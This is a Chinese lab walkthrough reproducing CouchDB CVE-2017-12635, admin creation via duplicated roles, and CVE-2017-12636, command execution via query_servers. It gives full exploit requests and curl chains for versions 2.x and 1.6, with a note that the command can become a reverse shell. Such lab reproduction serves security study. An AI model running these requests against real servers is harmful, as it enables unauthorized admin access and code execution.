前言
CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
影响版本:
小于 1.7.0 以及小于 2.1.1
漏洞复现
环境搭建
使用Vulhub的漏洞平台进行复现
docker-compose up -d
访问http://192.168.52.128:5984/_u...出现如下页面搭建成功
测试过程
CVE-2017-12635
构造创建账户的PUT包
PUT /_users/org.couchdb.user:liangban HTTP/1.1Host: www.0-sec.org:5984Accept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 104 { "type": "user", "name": "liangban", "roles": ["_admin"], "password": "liangban" }
我们没有admin权限,所以报错forbidden显示只有管理员才能设置Role角色。绕过role验证:发送包含两个roles的数据包,即可绕过限制在原先的包中加入 "roles":[],
返回如图所示即成功创建用户尝试使用liangban/liangban登录:
成功登录,且为管理员账户
CVE-2017-12636
该漏洞利用条件需要登录管理员用户触发,可使用上面介绍的CVE-2017-12635搭配利用
由于Couchdb 2.x和和1.x的的API接口有所差别,导致利用方式也不同,这里直接拿刚刚复现的CVE-2017-12635环境,演示2.x版本
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name,带上账号密码访问/_membership获取node名称:
其中liangban:liangban为管理员的账户密码
curl http://liangban:[email protected]:5984/_membership
这里只有一个node,为:nonode@nohost
修改nonode@nohost的配置,其中id >/tmp/success是要执行的命令,可以更换为弹shell
curl -X PUT http://liangban:[email protected]:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
请求添加一个名为zhuAn的Database,以便在里面执行查询curl -X PUT 'http://liangban:liangban@192....'
请求添加一个名为test的Document,以便在里面执行查询
curl -X PUT 'http://liangban:[email protected]:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
Couchdb 2.x删除了_temp_view,
所以我们为了触发query_servers
中定义的命令,需要添加一个_view
:`
curl -X PUT http://liangban:liangban@192.... -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
增加_view的同时即触发了query_servers中的命令。看到返回错误信息没有关系,报错来源于执行命令之后的流程加入靶机的docker查看发现命令执行成功,成功写入success文件
1.6.0系列
curl -X PUT 'http://liangban:[email protected]:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'curl -X PUT 'http://liangban:[email protected]:5984/zhuan'curl -X PUT 'http://liangban:[email protected]:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'curl -X POST 'http://liangban:[email protected]:5984/zhuan/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'